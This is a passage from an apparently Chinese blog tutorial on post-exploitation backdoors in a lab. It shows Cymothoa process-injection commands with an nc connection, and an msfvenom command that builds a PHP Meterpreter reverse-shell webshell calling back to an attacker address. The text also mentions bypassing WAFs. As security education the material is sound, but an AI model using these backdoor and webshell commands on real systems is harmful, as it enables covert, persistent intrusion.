Cymothoa所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另一个优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。

(1) 查看程序的PID。

  • Linux:ps -aux
  • Windows:tasklist

(2) 查看ShellCode编号。
Cymothoa有很多的后门 shellcode,这些shellcode可以通过-S参数来查看。

  • cymothoa -S

(3) 生成后门程序。
成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。如选择PID为903的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口号为4444。

  • cymothoa -p 903 -s 1 -y 4444

遗憾这里失败,后续文章会更深入的讲解后门实战知识。

在实战中你需要对目标机上传编译好的Cymothoa进行后门注入,成功则如下图所示。

(4) NC连接后门程序。
注入成功后,我们通过攻击机器 kali 来使用 nc 连接,因为我第一次使用的 nvv 参数,会显示所有的详细信息,所以内容比较咋。可以看到 ip 已经是目标机的 ip,身份是 root。

  • nc -nvv IP地址 端口号

这时把msf关闭,然后再次通过nc连接,查看ip和当前用户,该后门成功被利用。

注意,该后门注入系统的进程,反弹的是该进程相应的权限(并不需要root),当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或目标主机重启,后门就会停止运行。


2.Web后门

Web后门泛指Webshell,其实就是一段网页代码,包括ASP、PHP、JSP等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务端进行一些危险的操作以后去敏感信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的方法,比入侵攻击更加隐蔽。

Web后门能给攻击者提供非常多的功能,比如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。Windows操作系统下比较出名的是“中国菜刀”,还有开源的工具如蚁剑、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享过一句话+工具的用法。

在Kali下用得比较多的是Weevely,其功能很强大,使用http头进行指令传输,唯一的缺点是只支持PHP。其实Metasploit框架中也自带了Web后面,配合Meterpreter使用时,功能更强大。接下来我们简单用Meterpreter实现一个Web后门(PHP Meterpreter后门、ASP Meterpreter后门)。

在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可以创建具有Meterpreter功能的PHP Webshell。在攻击中使用Metasploit PHP Shell的步骤如下:

  • 使用msfvenom创建一个webshell.php
  • 上传webshell.php到目标服务器
  • 运行Metasploit multi-handler开始监听
  • 访问webshell.php页面
  • 获取反弹的Metasploit Shell

(1) 通过Metasploit的Msfvenom工具会做PHP Meterpreter。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php

参数-p用于设置Payload,参数-f用于设置输出文件格式,生成的文件如下所示。

打开shutter.php文件如下图所示,这是一个webshell。

(2) 将shutter.php文件上传到目标服务器。这里是虚拟机,就直接复制到 var/www/html 目录。

(3) 开启msfconsole连接PHP后门。

通过MSF我们成功反弹服务器,最后利用Meterpreter进行后渗透操作。

注意,这里大家也可以尝试蚁剑、菜刀、冰蝎等工具。也建议大家好好思考:

  • 如何有效检测Webshell
  • 如何结合深度学习实现Webshell的自动化生成和绕WAF
  • 如何结合深度学习自动化检测Webshell

六.总结

写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要是学习徐焱老师他们的《Web安全攻防渗透测试实战指南》,同时结合作者之前的漏洞利用及WannaCry逆向经验总结。文章非常长,作者也花费了很长时间,但相信只要你认真读完并复现,肯定会有收获,尤其是对MSF的理解。

  • 一.MSF漏洞利用
  • 二.后渗透攻击之信息收集
    1.进程迁移
    2.系统命令
    3.文件系统命令
  • 三.后渗透攻击之权限提升
    1.权限查询
    2.利用WMIC实战MS16-032本地溢出漏洞
    3.令牌窃取提权
    4.Hash攻击提权
  • 四.后渗透攻击之移植自定义漏洞利用模块
    1.传统MS08-067漏洞利用
    2.移植github的MS17-010漏洞模块
    3.深度提权
  • 五.后渗透攻击之后门
    1.操作系统Cymothoa后门
    2.Web后门

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2022-01-15 夜于武汉 http://blog.csdn.net/eastmount/ )


参考文章如下,感谢这些大佬。

  • [1] https://www.rapid7.com/products/metasploit/download/
  • [2] 《Web安全攻防渗透测试实战指南》徐焱、李文轩、王东亚老师
  • [3] https://blog.csdn.net/Eastmount
  • [4] https://www.cnblogs.com/coderge/p/13746810.html
  • [5] https://blog.csdn.net/fageweiketang/article/details/86580213
  • [6] https://blog.csdn.net/fageweiketang/article/details/86665518
  • [7] https://www.cnblogs.com/-qing-/p/10519363.html
  • [8] https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解相关推荐

  1. [系统安全] 四十六.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量的用法

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  2. AUTOSAR从入门到精通100讲(十五)-AURIX TC3xx MCAL中Link文件解析以及代码变量定位方法详解

    一 TC3xx系列MCAL中TASKING Link文件解析以及代码变量定位方法 1 TASKING Link文件解析 1.1 DSRAM中的数据存放: 在AURIX™ 2G中(以TC387为例),每 ...

  3. 运维监控系列(16)-Alertmanager路由、抑制、静默功能使用详解。

    分组(Grouping)及路由(route) 简介 分组将类似性质的警报分类为单个通知.当许多系统同时发生故障并且可能同时触发数百到数千个警报时,这在较大的中断期间尤其有用. 示例:当发生网络分区时, ...

  4. [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  5. 服务器存储满了进不去系统,解决PC常见问题 篇四十五:建议收藏!手贱升级进不去系统?两步简单恢复黑群晖!...

    解决PC常见问题 篇四十五:建议收藏!手贱升级进不去系统?两步简单恢复黑群晖! 2021-07-19 16:40:32 47点赞 302收藏 15评论 创作立场声明:本文属于原创文章,无任何利益关系, ...

  6. [Python从零到壹] 四十五.图像增强及运算篇之图像灰度非线性变换详解

    欢迎大家来到"Python从零到壹",在这里我将分享约200篇Python系列文章,带大家一起去学习和玩耍,看看Python这个有趣的世界.所有文章都将结合案例.代码和作者的经验讲 ...

  7. 【正点原子Linux连载】第四十五章 pinctrl和gpio子系统实验 -摘自【正点原子】I.MX6U嵌入式Linux驱动开发指南V1.0

    1)实验平台:正点原子阿尔法Linux开发板 2)平台购买地址:https://item.taobao.com/item.htm?id=603672744434 2)全套实验源码+手册+视频下载地址: ...

  8. 【Visual C++】游戏开发笔记四十五 浅墨DirectX教程十三 深度测试和Z缓存专场

    本系列文章由zhmxy555(毛星云)编写,转载请注明出处. 文章链接: http://blog.csdn.net/zhmxy555/article/details/8607864 作者:毛星云(浅墨 ...

  9. NeHe OpenGL教程 第四十五课:顶点缓存

    转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线 ...

最新文章

  1. java1.8 indexes_java1.8源码之ArrayList源码解读
  2. 实现 ASP.NET 网站地图提供者
  3. 终于编译好了qt的oracle驱动QOCI,连接成功!!!
  4. Android Camera2 拍照(四)——对焦模式
  5. Linux运行脚本忽略警告,ShellCheck - 显示Shell脚本的警告和建议的工具
  6. python第六周实验_第六周实验四
  7. 【Maven】Eclipse中的Maven项目安装与配置
  8. [Swift]扩展String类:实现find()查找子字符串在父字符串中的位置
  9. CRM 4.0得到用户个人信息
  10. InstallShield中通过修改注册表关闭Vista/Windows 7的UAC
  11. css就近原则_CSS的引入方式和优先级
  12. .Net MVC中SelectList绑定默认值失效的解决办法
  13. 有了net send,谁还用IM?
  14. 转载 VC轻松解析XML文件 - CMarkup类的使用方法
  15. Python[装饰器]
  16. python使用逐行读取,出现空行,清楚空行方法
  17. modscan32为主设备
  18. Google Dinosour 小恐龙
  19. Ubuntu18.04安装ntl库
  20. 数据链路层概述(主要解决的三个问题)

热门文章

  1. ASP.NET Core微服务(五)——【vue脚手架解析接口】
  2. RunTime类,后台快速打开浏览器
  3. MySQL中myisam和innodb的主键索引有什么区别?
  4. Oracle的闪回特性之恢复truncate删除表的数据
  5. Hadoop数据倾斜及解决办法
  6. Android MP3录音实现
  7. RGB to HSB or RGB to HSL
  8. 汉拓中国CRM评估报告简介
  9. 线程间操作无效: 从不是创建控件“progressBar1”的线程访问它。
  10. sql java blob_JAVA和SQL关于BLOB的很大的问题?……